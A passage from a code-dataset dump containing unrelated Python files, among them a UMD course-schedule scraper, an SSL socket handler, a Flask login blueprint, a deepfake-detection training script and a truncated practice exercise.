\"IMMR\", \"INAG\", \"INFM\",\n \"INST\", \"ISRL\", \"ITAL\", \"JAPN\", \"JOUR\", \"JWST\", \"KNES\", \"KORA\", \"LARC\", \"LASC\",\n \"LATN\", \"LBSC\", \"LGBT\", \"LING\", \"MATH\", \"MEES\", \"MIEH\", \"MITH\", \"MLAW\", \"MLSC\",\n \"MOCB\", \"MUED\", \"MUSC\", \"MUSP\", \"NACS\", \"NAVY\", \"NFSC\", \"NIAS\", \"PEER\", \"PERS\",\n \"PHIL\", \"PHSC\", \"PHYS\", \"PLCY\", \"PLSC\", \"PORT\", \"PSYC\", \"RDEV\", \"RELS\", \"RUSS\",\n \"SLAA\", \"SLLC\", \"SOCY\", \"SPAN\", \"SPHL\", \"STAT\", \"SURV\", \"TDPS\", \"THET\", \"TLPL\",\n \"TLTC\", \"TOXI\", \"UMEI\", \"UNIV\", \"URSP\", \"USLT\", \"VMSC\", \"WMST\"]\n\nabrvhash ={'AJC': '429 - A. James Clark Hall', 'AVW': '115 - A.V. Williams Building',\n 'SSU': '163 - Adele H. Stamp Student Union Buildings', 'ANS': '142 - Animal Science/Agricultural Engineering Building',\n 'ANA': '060 - Anne Arundel Hall', 'ARC': '145 - Architecture Building', 'ASY': '146 - Art-Sociology Building',\n 'EDU': '143 - Benjamin Building', 'BPS': '144 - Biology-Psychology Building', 'BRB': '413 - Biosciences Research Building',\n 'CCC': '097 - Cambridge Community Center', 'CEN': '098 - Centreville Hall (Residence Hall)',\n 'CHE': '090 - Chemical and Nuclear Engineering Building', 'CHM': '091 - Chemistry Building',\n 'PAC': '386 - Clarice Smith Performing Arts Center', 'COL': '162 - Cole Student Activities Building',\n 'CSI': '406 - Computer Science Instructional Center',\n 'CBD': '122 - Cumberland Hall (Residence Hall)', 'DOR': '064 - Dorchester Hall (Residence Hall)',\n 'ESJ': '226 - Edward St. John Learning and Teaching Center', 'ELK': '254 - Elkton Hall (Residence Hall)',\n 'ELL': '256 - Ellicott Hall (Residence Hall)', 'EGL': '089 - Engineering Laboratory Building',\n 'ERC': '068 - Eppley Campus Recreation Center', 'KEY': '048 - Francis Scott Key Hall',\n 'GEO': '237 - Geology Building', 'GLF': '166 - Golf Course Clubhouse', 'HJP': '073 - H.J. Patterson Hall',\n 'HAG': '258 - Hagerstown Hall (Residence Hall)', 'HBK': '147 - Hornbake Library',\n 'ITV': '045 - Instructional Television Facility', 'JMP': '083 - J.M. Patterson Building',\n 'KEB': '225 - Jeong H. Kim Engineering Building', 'JMZ': '034 - Jimenez Hall',\n 'JUL': '227 - Jull Hall', 'KNI': '417 - Knight Hall', 'LPA': '259 - LaPlata Hall (Residence Hall)',\n 'LEF': '038 - LeFrak Hall', 'MMH': '046 - Marie Mount Hall', 'EGR': '088 - Martin Hall',\n 'MTH': '084 - Mathematics Building', 'MCB': '231 - Microbiology Building',\n 'NCC': '232 - Nyumburu Cultural Center', 'PHY': '082 - Physics Building',\n 'PLS': '036 - Plant Science Building', 'QAN': '061 - Queen Annes Hall',\n 'ARM': '078 - Reckord Armory', 'SPH': '255 - School of Public Health',\n 'SHM': '037 - Shoemaker Building', 'SKN': '044 - Skinner Building',\n 'SOM': '063 - Somerset Hall (Residence Hall)', 'SQH': '233 - Susquehanna Hall',\n 'SYM': '076 - Symons Hall', 'TLF': '043 - Taliaferro Hall',\n 'TWS': '141 - Tawes Fine Arts Building', 'TYD': '042 - Tydings Hall',\n 'VMH': '039 - Van Munching Hall', 'WDS': '047 - Woods Hall',\n 'SCC' : '997 - South Campus Commons 1', 'ATL' : '224 - Atlantic Building (ATL)',\n 'IRB' : '432 - Brendan Iribe Center (IRB)', 'PFR' : '425 - Prince Frederick Hall',\n 'PFH': '425 - Prince Frederick Hall',\n 'ERC' : '068 - Eppley Recreation Center (CRC)', 'PSC' : '805 - Patapsco Building'}\n\n# split day array into list\ndef daysplit(days):\n schedule = []\n i = 0\n while i < len(days):\n if days[i] == 'T' or days[i] == 'S':\n schedule.append(days[i:i + 2])\n i += 2\n else:\n schedule.append(days[i:i+1])\n i += 1\n return schedule\n\n# recursive search functions to find correct container\ndef searchsections2(div):\n for tags in div.contents:\n if type(tags) is not bs4.element.NavigableString:\n if 'class' in tags.attrs and tags.attrs['class'][0] == 'sections-container':\n return tags.contents[1]\n\n\ndef searchsections(div):\n for tags in div.contents:\n if type(tags) is not bs4.element.NavigableString:\n if 'class' in tags.attrs and tags.attrs['class'][0] == 'toggle-sections-link-container':\n return searchsections2(tags.contents[1].contents[1].contents[1])\n\n# retrieve all tags from a contents list\ndef gettags(div):\n l = []\n for content in div:\n if type(content) is bs4.element.Tag:\n l.append(content)\n return l\n# record classes that failed\nbad = []\n\n# ignore ambigious class descriptions \nignore = ['BLD3', 'TBA', 'BLD2', 'ONLINE','Class time/details on ELMS','Contact department or instructor for details.']\nnoloc = []\nclasses = []\n# sending get request for every major\nfor m in majors:\n print(\"\\n\\nscraping \" + m)\n\n URL = \"https://app.testudo.umd.edu/soc/search?courseId=\" + m + \"§ionId=&termId=\"+semester+\"&_openSectionsOnly=on&creditCompare=&credits=&courseLevelFilter=UGRAD&instructor=&facetoface=true&_facetoface=on&blended=true&_blended=on&_online=on&courseStartCompare=&courseStartHour=&courseStartMin=&courseStartAM=&courseEndHour=&courseEndMin=&courseEndAM=&teachingCenter=*&_classDay1=on&_classDay2=on&_classDay3=on&_classDay4=on&_classDay5=on\"\n # test for bad urls only....\n #URL = \"https://app.testudo.umd.edu/soc/search?courseId=\"+ m + \"§ionId=&termId=201908&_openSectionsOnly=on&creditCompare=&credits=&courseLevelFilter=UGRAD&instructor=&facetoface=true&_facetoface=on&blended=true&_blended=on&_online=on&courseStartCompare=&courseStartHour=&courseStartMin=&courseStartAM=&courseEndHour=&courseEndMin=&courseEndAM=&teachingCenter=*&_classDay1=on&_classDay2=on&_classDay3=on&_classDay4=on&_classDay5=on\"\n\n # request the page and parse using beautiful soup with html5lib parser\n r = requests.get(url=URL)\n soup = BeautifulSoup(r.content.decode('utf-8'), features=\"html5lib\")\n\n # make list of all objects nested in \"class\":\"course\"\n courses = soup.find_all('div', {\"class\": \"course\"})\n\n for course in courses:\n\n title = course.contents[1].attrs['value']\n if title == 'EDSP400':\n print('hi')\n try:\n sections = searchsections(course.contents[3].contents[3])\n\n # traverse down to class-days-container\n if sections != None:\n sections = gettags(sections.contents)\n for child in sections:\n childcontents = gettags(child)\n sectionId = childcontents[0].attrs['value']\n for section in childcontents:\n if 'class' in section.attrs and section.attrs['class'][0] == 'class-days-container':\n meetings = gettags(section)\n\n # handle delivery-blended to face to face schedules\n for meeting in meetings:\n if child.attrs['class'][1] == 'delivery-blended':\n try:\n time = section.contents[3].contents[1].text.strip()\n location = section.contents[3].contents[3].text.strip()\n except IndexError:\n time = section.contents[1].contents[1].text.strip()\n location = section.contents[1].contents[3].text.strip()\n else:\n try:\n time = section.contents[1].contents[1].text.strip()\n location = section.contents[1].contents[3].text.strip()\n except IndexError:\n time = section.contents[3].contents[1].text.strip()\n location = section.contents[3].contents[3].text.strip()\n\n # string results and record \n # these were some ambigious building names \n l = location.split('\\n')\n bdg = l[0]\n if bdg == \"PFR\":\n building = \"PFH\"\n if bdg == \"ERC\":\n buiding = \"CRC\"\n if time in ignore or bdg in ignore:\n continue\n\n if bdg not in abrvhash and bdg not in noloc:\n print(bdg)\n noloc.append(bdg)\n continue\n\n bdg = abrvhash[bdg]\n sched = time.split('\\n')\n days = daysplit(sched[0])\n t = sched[1].strip().split(' - ')\n start = t[0]\n end = t[1]\n s = [days,start,end,bdg,sectionId,title]\n print(s)\n classes.append(s)\n # print results co nsole (my editor outputs to file) skips duplicates\n\n else: # could not find needed content container\n print(\"ERROR: location look for \" + title)\n\n except IndexError: # could not find needed content container\n print(\"ERROR: index look for \" + title)\n bad.append(title)\n\nweek = {'M': {}, 'Tu': {}, 'W': {}, 'Th': {}, 'F': {}, 'Sa': {}, 'Su': {}}\n\n# put classes into hashmap\nfor c in classes:\n\n title = c[5]\n days = c[0]\n building = c[3]\n start = c[1]\n end = c[2]\n room = c[4] # this is actually the section\n\n\n for d in days:\n dayschedule = week[d]\n if start not in dayschedule:\n dayschedule[start] = {}\n if end not in dayschedule[start]:\n dayschedule[start][end] = {}\n if building not in dayschedule[start][end]:\n dayschedule[start][end][building] = {}\n if room not in dayschedule[start][end][building]:\n dayschedule[start][end][building][room] = ''\n\n dayschedule[start][end][building][room] = title\n\n\n classinfo = [start,end, building, room, title]\n classinfo = [x.strip() for x in classinfo]\n classinfo.insert(0,days)\n\n\n\nwith open('data/classlistJson', 'w') as outfile:\n json.dump(week, outfile)\n","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":12213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"472428127","text":"__author__ = 'Pawel'\n\n# Your program should emit an integer, N, of how many unique four sided figures it found.\n# Rectangles and squares both count.\n\ndef openFile():\n board = []\n with open('txt/rect.txt') as f:\n for line in f:\n board.append(line.rstrip('\\n'))\n return board\n\ndef positions(someList):\n plus = []\n cords = []\n for number in range(len(someList)):\n if someList[number] == '+':\n plus.append(number)\n if len(plus) >= 2:\n for a in plus[:len(plus)]:\n for b in plus[1:]:\n if a < b and (a, b) not in cords:\n cords.append((a, b))\n elif someList[number] == '-':\n continue\n else:\n plus.clear()\n return cords\n\ndef checkRect(positions, someList):\n value = 0\n for element in positions:\n a, b = element\n for item in someList:\n if b < len(item):\n if item[a] == '+' and item[b] == '+':\n if ' ' in item[a:b]:\n continue\n else:\n value += 1\n elif item[a] == ' ' or item[b] == ' ':\n break\n elif item[a] == '-' or item[b] == '-':\n break\n else:\n continue\n else:\n break\n return value\n\ndef main():\n board = openFile()\n value = 0\n total = 0\n for line in board:\n total += 1\n value += checkRect(positions(line), board[total:])\n\n print(value)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"#224 [I] Detecting Figures.py","file_name":"#224 [I] Detecting Figures.py","file_ext":"py","file_size_in_byte":1644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"342083669","text":"#!/usr/bin/env python3\n\nimport pywind.evtframework.handlers.tcp_handler as tcp_handelr\nimport ssl\n\n\nclass ssl_handelr(tcp_handelr.tcp_handler):\n __creator_fd = None\n __handshake_ok = None\n\n def init_func(self, creator_fd, *args, **kwargs):\n self.__creator_fd = creator_fd\n self.__handshake_ok = False\n\n return self.ssl_init(*args, **kwargs)\n\n @property\n def creator(self):\n return self.__creator_fd\n\n def ssl_init(self, *args, **kwargs):\n \"\"\"初始化SSL,重写这个方法\n :param args:\n :param kwargs:\n :return fileno:\n \"\"\"\n return -1\n\n def evt_read(self):\n if not self.is_conn_ok():\n super().evt_read()\n return\n\n if not self.__handshake_ok:\n self.__do_handshake()\n\n if not self.__handshake_ok: return\n\n try:\n super().evt_read()\n except ssl.SSLWantWriteError:\n self.add_evt_write(self.fileno)\n except ssl.SSLWantReadError:\n if self.reader.size() > 0:\n self.tcp_readable()\n except ssl.SSLZeroReturnError:\n if self.reader.size() > 0:\n self.tcp_readable()\n if self.handler_exists(self.fileno): self.delete_handler(self.fileno)\n\n def evt_write(self):\n if not self.is_conn_ok():\n super().evt_write()\n return\n\n if not self.__handshake_ok:\n self.remove_evt_write(self.fileno)\n self.__do_handshake()\n\n if not self.__handshake_ok: return\n try:\n super().evt_write()\n except ssl.SSLWantReadError:\n pass\n except ssl.SSLWantWriteError:\n self.add_evt_write(self.fileno)\n except ssl.SSLEOFError:\n self.delete_handler(self.fileno)\n except ssl.SSLError:\n self.delete_handler(self.fileno)\n\n def ssl_handshake_ok(self):\n \"\"\"握手成功后的处理,重写这个方法\n :return:\n \"\"\"\n pass\n\n def __do_handshake(self):\n try:\n self.socket.do_handshake()\n self.__handshake_ok = True\n self.ssl_handshake_ok()\n except ssl.SSLWantReadError:\n self.add_evt_read(self.fileno)\n except ssl.SSLWantWriteError:\n self.add_evt_write(self.fileno)\n except:\n self.delete_handler(self.fileno)\n","sub_path":"pywind/evtframework/handlers/ssl_handler.py","file_name":"ssl_handler.py","file_ext":"py","file_size_in_byte":2400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"425594544","text":"# -*- coding: utf-8 -*-\n\"\"\"\n :Authors: - qweqwe\n\"\"\"\n\nfrom flask import Blueprint, render_template, request, url_for, redirect\nfrom coltrane.website.forms import RegistrationForm, LoginForm\nfrom coltrane.db.models import User, Developer\nfrom coltrane.db.extension import db\nfrom coltrane.website.extensions.warden import warden\n\n\nuser = Blueprint('user', __name__)\n\n@user.route('/login', methods=['GET', 'POST'])\ndef login():\n form = LoginForm(request.form, csrf_enabled=False)\n if form.validate_on_submit():\n warden.login(form.user)\n return redirect(url_for('index.main'))\n return render_template('login.html', form=form)\n\n\n@user.route('/signup', methods=['POST', 'GET'])\ndef signup():\n form = RegistrationForm(request.form)\n if form.validate_on_submit():\n user = User(nickname=form.nickname.data,\n email=form.email.data,\n password=form.password.data)\n developer = Developer(user=user)\n db.session.add_all([user, developer])\n db.session.commit()\n warden.login(user)\n return redirect(url_for('index.main'))\n return render_template('signup.html', form=form)\n\n\n\n@user.route('/users')\ndef users():\n return render_template('users.html', users=User.query.all())\n\n\n@user.route('/logout', methods=['GET', 'POST'])\ndef logout():\n warden.logout()\n return redirect(url_for('index.main'))","sub_path":"coltrane/website/views/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":1401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"594240010","text":"from . import PersonHandler, QBHandler, ExHandler, GroupHandler, ExamAnalysisHandler\n\nadmin_handlers = [\n (r\"/api/psmana\", PersonHandler.PersonDataHandler),\n (r\"/api/qbmana\", QBHandler.QBManaHandler),\n (r\"/api/uploadqb\", QBHandler.UploadQBHandler),\n (r\"/api/qba\", QBHandler.QbaHandler),\n (r\"/api/exmana\", ExHandler.ExManaHandler),\n (r\"/api/group\", GroupHandler.GroupHandler),\n (r\"/api/examanalysis\", ExamAnalysisHandler.ExamAnalysisHandler)\n]\n","sub_path":"server/handlers/Admin/AdmainUrl.py","file_name":"AdmainUrl.py","file_ext":"py","file_size_in_byte":450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"625989185","text":"import argparse\nimport datetime\nimport numpy as np\nimport os\nimport random\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nfrom imageio import imread\nfrom network.xception_map import xception\nfrom network.vgg_map import vgg16\nfrom tensorboardX import SummaryWriter\nfrom torchvision import transforms\nimport torchvision.utils as vutils\nfrom torch.utils.data import DataLoader\nimport cv2\ntorch.backends.deterministic = True\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--gpu', type=int, default=0)\nparser.add_argument('--batch_size', type=int, default=16, help='batch size')\nparser.add_argument('--lr', type=float, default=0.0001, help='learning rate')\nparser.add_argument('--wd', type=float, default=0.001, help='learning rate')\nparser.add_argument('--seed', type=int, default=1, help='manual seed')\nparser.add_argument('--it_start', type=int, default=1, help='number of itr to start with')\nparser.add_argument('--it_end', type=int, default=40000, help='number of itr to end with')\nparser.add_argument('--signature', default='Test')\nparser.add_argument('--model_dir', help='pretrained model')\nparser.add_argument('--data_dir', help='directory for data')\nparser.add_argument('--save_dir', default='./runs', help='directory for result')\nparser.add_argument('--network', default='xcp', help='directory for result')\nopt = parser.parse_args()\nprint(opt)\n\nsig = datetime.datetime.now().strftime(\"%Y%m%d_%H%M%S_\") + opt.signature\nos.environ[\"CUDA_VISIBLE_DEVICES\"] = str(opt.gpu)\nrandom.seed(opt.seed)\ntorch.manual_seed(opt.seed)\ntorch.cuda.manual_seed_all(opt.seed)\nos.makedirs('{}/modules/{}'.format(opt.save_dir, sig), exist_ok=True)\n\n\nclass DATA(object):\n def __init__(self, data_root, seed=opt.seed):\n np.random.seed(seed)\n self.data_root = data_root\n self.len = 0\n transform_xcp = transforms.Compose([transforms.ToPILImage(),\n transforms.Resize((112, 112)),\n transforms.Resize((299, 299)),\n transforms.ToTensor(),\n transforms.Normalize([0.5] * 3, [0.5] * 3)])\n\n transform_vgg = transforms.Compose([transforms.ToPILImage(),\n transforms.Resize((224, 224)),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])])\n\n transform_mask_xcp = transforms.Compose([transforms.ToPILImage(),\n transforms.Resize((19, 19)),\n transforms.Grayscale(num_output_channels=1),\n transforms.ToTensor()])\n\n transform_mask_vgg = transforms.Compose([transforms.ToPILImage(),\n transforms.Resize((28, 28)),\n transforms.Grayscale(num_output_channels=1),\n transforms.ToTensor()])\n\n if opt.network == 'xcp':\n self.transform = transform_xcp\n self.transform_mask = transform_mask_xcp\n self.mask_real = torch.zeros((1, 19, 19))\n self.mask_dne = torch.ones((1, 19, 19)) * 100\n if opt.network == 'vgg':\n self.transform = transform_vgg\n self.transform_mask = transform_mask_vgg\n self.mask_real = torch.zeros((1, 28, 28))\n self.mask_dne = torch.ones((1, 28, 28)) * 100\n\n self.classes = {'Real': 0, 'Fake': 1}\n self.img_paths = {'Real': [], 'Fake': []}\n\n for f in self.classes.keys():\n dir_list = os.listdir(self.data_root)\n for dir in dir_list:\n file_list = os.listdir(os.path.join(self.data_root, dir, f))\n for i in range(len(file_list)):\n self.img_paths[f].append(os.path.join(self.data_root, dir, f, file_list[i]))\n\n for f in self.img_paths.values():\n random.Random(seed).shuffle(f)\n self.len += len(f)\n\n # Xception\n def __getitem__(self, index):\n img_name_real = random.choice(self.img_paths['Real'])\n img_path_real = img_name_real\n img_real = self.transform(imread(img_path_real))\n mask_path_real = img_path_real.split('/Real/')[0] + '/Mask/' + img_path_real.split('/Real/')[1]\n # mask_real = self.transform_mask(imread(mask_path_real))\n mask_real = self.mask_real\n\n img_name_fake = random.choice(self.img_paths['Fake'])\n img_path_fake = img_name_fake\n img_fake = self.transform(imread(img_path_fake))\n mask_path_fake = img_path_fake.split('/Fake/')[0] + '/Mask/' + img_path_fake.split('/Fake/')[1]\n try:\n mask_fake = self.transform_mask(imread(mask_path_fake))\n except:\n mask_fake = self.mask_dne\n # print(torch.mean(mask_fake))\n if torch.mean(mask_fake) > 0.005:\n fake_label = 1\n else:\n fake_label = 0\n return img_real, mask_real, 0, img_fake, mask_fake, fake_label\n\n\n def __len__(self):\n return self.len\n\n\ndef get_batch(data_loader):\n while True:\n for sequence in data_loader:\n batch = sequence[0].cuda(), sequence[1].cuda(), sequence[2].cuda(), sequence[3].cuda(), sequence[4].cuda(), sequence[5].cuda()\n yield batch\n\n\nprint(\"Initializing Data Loader\")\ntrain_data = DATA(data_root=(opt.data_dir + 'train/'))\n# train_data = DATA(data_root=(opt.data_dir + 'dfdc_train_part_00/'))\ntrain_loader = DataLoader(train_data, num_workers=8, batch_size=opt.batch_size//2, shuffle=True, drop_last=True, pin_memory=True)\ntraining_batch_generator = get_batch(train_loader)\n\ntest_data = DATA(data_root=(opt.data_dir + 'validation/'))\n# test_data = DATA(data_root=(opt.data_dir + 'dfdc_train_part_00/'))\ntest_loader = DataLoader(test_data, num_workers=8, batch_size=opt.batch_size//2, shuffle=True, drop_last=True, pin_memory=True)\ntesting_batch_generator = get_batch(test_loader)\n\n\ndef load_template(index):\n transform_mask_vgg = transforms.Compose([transforms.ToPILImage(),\n transforms.Resize((28, 28)),\n transforms.Grayscale(num_output_channels=1),\n transforms.ToTensor()])\n\n transform_mask_xcp = transforms.Compose([transforms.ToPILImage(),\n transforms.Resize((19, 19)),\n transforms.Grayscale(num_output_channels=1),\n transforms.ToTensor()])\n t_list = []\n if index == 0:\n print(\"Loading Template 0\")\n for i in range(10):\n img = imread('./MCT/template{:d}.png'.format(i))\n\n if opt.network == 'xcp':\n t_list.append(transform_mask_xcp(img).squeeze(0))\n if opt.network == 'vgg':\n t_list.append(transform_mask_vgg(img).squeeze(0))\n\n elif index == 1:\n print(\"Loading Template 1\")\n for i in range(10):\n img = imread('./ACT/template{:d}.png'.format(i))\n\n if opt.network == 'xcp':\n t_list.append(transform_mask_xcp(img).squeeze(0))\n if opt.network == 'vgg':\n t_list.append(transform_mask_vgg(img).squeeze(0))\n\n elif index == 2:\n print(\"Loading Template 2\")\n for i in range(10):\n t_list.append(torch.zeros((19, 19)))\n\n for i in range(19):\n for j in range(19):\n if 0 <= i < 7 and 0 <= j < 7:\n t_list[1][i][j] = 1\n if 0 <= i < 7 and 6 <= j < 13:\n t_list[2][i][j] = 1\n if 0 <= i < 7 and 12 <= j < 19:\n t_list[3][i][j] = 1\n if 6 <= i < 13 and 0 <= j < 7:\n t_list[4][i][j] = 1\n if 6 <= i < 13 and 6 <= j < 13:\n t_list[5][i][j] = 1\n if 6 <= i < 13 and 12 <= j < 19:\n t_list[6][i][j] = 1\n if 12 <= i < 19 and 0 <= j < 7:\n t_list[7][i][j] = 1\n if 12 <= i < 19 and 6 <= j < 13:\n t_list[8][i][j] = 1\n if 12 <= i < 19 and 12 <= j < 19:\n t_list[9][i][j] = 1\n\n t = torch.stack(t_list).cuda()\n return t\n\n\ntemplates = load_template(1)\n\n\n\nprint(\"Initializing Networks\")\n\nif opt.network == 'xcp':\n model = xception(templates, len(train_data.classes), True)\nif opt.network == 'vgg':\n model = vgg16(templates, len(train_data.classes), True)\n\nif opt.it_start != 1:\n print(\"Loading Module\")\n checkpoint = torch.load(opt.model_dir)\n model.load_state_dict(checkpoint['module'])\noptimizer = optim.Adam(model.parameters(), lr=opt.lr, weight_decay=opt.wd)\nmodel.cuda()\ncse_loss = nn.CrossEntropyLoss().cuda()\nl1_loss = nn.L1Loss().cuda()\nif opt.network == 'xcp':\n mp = nn.MaxPool2d(19).cuda()\nif opt.network == 'vgg':\n mp = nn.MaxPool2d(28).cuda()\n\ndef display(mask_gt, mask_pred):\n mask_gt_cpu = mask_gt.cpu()\n mask_gt_concat = np.concatenate((mask_gt_cpu[0], mask_gt_cpu[1], mask_gt_cpu[2], mask_gt_cpu[3],\n mask_gt_cpu[4], mask_gt_cpu[5], mask_gt_cpu[6], mask_gt_cpu[7],\n mask_gt_cpu[8], mask_gt_cpu[9], mask_gt_cpu[10], mask_gt_cpu[11],\n mask_gt_cpu[12], mask_gt_cpu[13], mask_gt_cpu[14], mask_gt_cpu[15]), axis=2)\n\n mask_bin_cpu = torch.where(mask_gt_cpu < 0.1, torch.zeros(19, 19), torch.ones(19, 19))\n mask_bin_concat = np.concatenate((mask_bin_cpu[0], mask_bin_cpu[1], mask_bin_cpu[2], mask_bin_cpu[3],\n mask_bin_cpu[4], mask_bin_cpu[5], mask_bin_cpu[6], mask_bin_cpu[7],\n mask_bin_cpu[8], mask_bin_cpu[9], mask_bin_cpu[10], mask_bin_cpu[11],\n mask_bin_cpu[12], mask_bin_cpu[13], mask_bin_cpu[14], mask_bin_cpu[15]), axis=2)\n\n vec_gt = torch.from_numpy(\n np.dot(mask_bin_cpu.reshape(16, 361).numpy(), np.linalg.pinv(templates.cpu().reshape(10, 361).numpy()))).cuda()\n mask_calc_cpu = torch.mm(vec_gt, templates.reshape(10, 361)).reshape((16, 1, 19, 19)).cpu()\n mask_calc_concat = np.concatenate((mask_calc_cpu[0], mask_calc_cpu[1], mask_calc_cpu[2], mask_calc_cpu[3],\n mask_calc_cpu[4], mask_calc_cpu[5], mask_calc_cpu[6], mask_calc_cpu[7],\n mask_calc_cpu[8], mask_calc_cpu[9], mask_calc_cpu[10], mask_calc_cpu[11],\n mask_calc_cpu[12], mask_calc_cpu[13], mask_calc_cpu[14], mask_calc_cpu[15]),\n axis=2)\n\n mask_pred_cpu = mask_pred.cpu().detach()\n mask_pred_concat = np.concatenate((mask_pred_cpu[0], mask_pred_cpu[1], mask_pred_cpu[2], mask_pred_cpu[3],\n mask_pred_cpu[4], mask_pred_cpu[5], mask_pred_cpu[6], mask_pred_cpu[7],\n mask_pred_cpu[8], mask_pred_cpu[9], mask_pred_cpu[10], mask_pred_cpu[11],\n mask_pred_cpu[12], mask_pred_cpu[13], mask_pred_cpu[14], mask_pred_cpu[15]),\n axis=2)\n\n mask_out = np.concatenate((mask_gt_concat, mask_bin_concat, mask_calc_concat, mask_pred_concat), axis=1)\n mask_out = np.repeat(mask_out.reshape(76, 304, 1), 3, axis=2)\n mask_out = cv2.resize(mask_out, (1216, 304))\n cv2.imshow('mask_out', mask_out)\n # cv2.imwrite(\"./img_out/00.png\", mask_out*255)\n cv2.waitKey(0)\n cv2.destroyAllWindows()\n\nif opt.network == 'xcp':\n mask_dne = torch.ones((1, 19, 19)) * 100\nif opt.network == 'vgg':\n mask_dne = torch.ones((1, 28, 28)) * 100\n\ndef sup_loss(mask_gt, mask):\n if opt.network == 'xcp':\n mask_exist_index = mask_gt.reshape(16, 361).mean(dim=1)\n zeros = torch.zeros(19, 19)\n ones = torch.ones(19, 19)\n if opt.network == 'vgg':\n mask_exist_index = mask_gt.reshape(16, 784).mean(dim=1)\n zeros = torch.zeros(28, 28)\n ones = torch.ones(28, 28)\n mask_exist_index = (mask_exist_index!=100).nonzero().squeeze()\n mask_exist = torch.index_select(mask, 0, mask_exist_index)\n mask_gt_exist = torch.index_select(mask_gt, 0, mask_exist_index)\n mask_gt_exist_bin = torch.where(mask_gt_exist.cpu() < 0.1, zeros, ones).cuda()\n loss = l1_loss(mask_exist, mask_gt_exist_bin)\n return loss\n\ndef train(batch, mask_gt, label):\n model.train()\n x, mask, vec = model(batch)\n loss0 = cse_loss(x, label)\n # map_maxpool = torch.squeeze(mp(mask))\n # print(map_maxpool)\n # loss1 = l1_loss(map_maxpool, label.float())\n # vec_max = torch.max(vec, 1).values\n # vec_mean = torch.mean(vec, 1)\n # loss1 = l1_loss(vec_max, label.float()) + l1_loss(vec_mean, label.float()*0.75)\n loss2 = sup_loss(mask_gt, mask)\n # loss2 = l1_loss(vec, vec_gt)\n loss = loss0 + loss2\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n return [loss0.item(), 0], 0\n\n\ndef test(batch, mask_gt, label):\n model.eval()\n with torch.no_grad():\n x, mask, vec = model(batch)\n loss0 = cse_loss(x, label)\n # map_maxpool = torch.squeeze(mp(mask))\n # loss1 = l1_loss(map_maxpool, label.float())\n # vec_max = torch.max(vec, 1).values\n # vec_mean = torch.mean(vec, 1)\n # loss1 = l1_loss(vec_max, label.float()) + l1_loss(vec_mean, label.float()*0.75)\n loss2 = sup_loss(mask_gt, mask)\n # loss2 = l1_loss(vec, vec_gt)\n prediction = torch.max(x, dim=1)[1]\n # print(prediction)\n # display(mask_gt, mask)\n # print(mask_exist.reshape(mask_exist.shape[0], 361).mean(dim=1))\n # print(mask_gt_exist.reshape(mask_gt_exist.shape[0], 361).mean(dim=1))\n accu = (prediction.eq(label.long())).sum()\n return [loss0.item(), loss2.item(), accu.item() / len(batch)], 0\n\n\ndef write_tfboard(vals, itr, name):\n for idx, item in enumerate(vals):\n writer.add_scalar('data/%s%d' % (name, idx), item, itr)\n\n\nwriter = SummaryWriter('%s/logs/%s' % (opt.save_dir, sig))\nitr = opt.it_start\nprint(\"Start Training at iteration {:d}\".format(itr))\nwhile itr != opt.it_end + 1:\n batch_real_train, mask_real_train, label_real_train, batch_fake_train, mask_fake_train, label_fake_train = next(\n training_batch_generator)\n batch_train = torch.cat((batch_real_train, batch_fake_train), 0)\n mask_train = torch.cat((mask_real_train, mask_fake_train), 0)\n label_train = torch.cat((label_real_train, label_fake_train), 0)\n loss, mask = train(batch_train, mask_train, label_train)\n write_tfboard(loss, itr, name='TRAIN')\n\n if itr % 100 == 0:\n batch_real_test, mask_real_test, label_real_test, batch_fake_test, mask_fake_test, label_fake_test = next(\n testing_batch_generator)\n batch_test = torch.cat((batch_real_test, batch_fake_test), 0)\n mask_test = torch.cat((mask_real_test, mask_fake_test), 0)\n label_test = torch.cat((label_real_test, label_fake_test), 0)\n lossacc, mask = test(batch_test, mask_test, label_test)\n x1 = vutils.make_grid(batch_test, normalize=True, scale_each=True)\n # x2 = vutils.make_grid(mask, normalize=True, scale_each=True)\n writer.add_image('Image_orig', x1, itr)\n # writer.add_image('Image_map', x2, itr)\n writer.add_text('Text', 'Image Label: ' + str(label_test.tolist()), itr)\n write_tfboard(lossacc, itr, name='TEST')\n print(\"Eval: {:d}\".format(itr))\n\n if itr % 10000 == 0:\n torch.save({'module': model.state_dict()}, '%s/modules/%s/%d.pickle' % (opt.save_dir, sig, itr))\n print(\"Save Model: {:d}\".format(itr))\n\n itr += 1\n","sub_path":"train_map.py","file_name":"train_map.py","file_ext":"py","file_size_in_byte":16062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"261133897","text":"#coding=utf8\n#__author__chry\n#__date:2018/4/26\n\n# x=10.0\n# y=int(1)\n# print(type(x-y))\n# print(type(x),type(y))\n# print(y is x-(x-y))\n\n'''\n实现99乘法表\n'''\n'''\nfor i in range(1,10):\n\tfor j in range(i):\n\t\tprint(i,'*',j+1,'=',(j+1)*i,end=';')\n\tprint('*'*20)\n'''\n#print('\\n'.join([' '.join([\"%d*%s=%1s\"%(y,x,x*y) for y in range(1,x+1)]) for x in range(1,10)]))\n\n'''\n在数组中找到具有最大的和连续的子数组(至少包含一个数字)\n[-2,1,-3,4,-1,1,1,-5,-4]\n[4,-1,2,1]\n'''\ncc = [-2,1,-3,4,-1,1,1,-5,-4]\ndef function(lists):\n\tmax_sum = lists[0]\n\tpre_sum = 0\n\tfor i in lists:\n\t\tif pre_sum == i:\n\t\t\tpre_sum = i\n\t\telse:\n\t\t\tpre_sum+=i\n\t\t\tif 